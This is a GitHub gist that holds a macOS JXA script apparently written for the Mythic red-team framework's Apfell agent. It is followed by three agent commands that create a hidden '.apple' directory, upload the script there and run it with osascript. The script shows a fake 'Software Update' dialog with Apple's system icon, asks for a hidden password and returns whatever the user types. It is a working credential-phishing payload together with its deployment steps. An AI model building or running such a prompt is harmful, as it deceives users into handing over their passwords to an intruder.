Created
June 26, 2021 02:48
-
-
Save jimmy-ly00/59c6a0a8fee0fe16a6bea19801998a7a to your computer and use it in GitHub Desktop.
Mythic Apfell manual prompt.js
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
function myprompt(){ | |
var app = Application.currentApplication() | |
app.includeStandardAdditions = true | |
var dialogText = "An application needs permission to update" | |
var title = "Software Update" | |
var iconPath = "/System/Library/PreferencePanes/SoftwareUpdate.prefPane/Contents/Resources/SoftwareUpdate.icns" | |
try{ | |
var prompt = app.displayDialog(dialogText, { | |
givingUpAfter: "300", | |
defaultAnswer: "", | |
buttons:['OK', 'Cancel'], | |
defaultButton:'OK', | |
cancelButton: 'Cancel', | |
withTitle: title, | |
withIcon: Path(iconPath), | |
hiddenAnswer: true | |
}) | |
return("Input: " + prompt.textReturned) | |
}catch(error){ | |
return("Error: " + error) | |
} | |
} | |
myprompt(); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
shell {"command":"mkdir /Users/jimmy/public/.apple"}
upload {"file":"myprompt.js","remote_path":"\/Users\/jimmy\/Public\/.apple\/myprompt.js"}
shell {"command":"osascript /Users/jimmy/Public/.apple/myprompt.js"}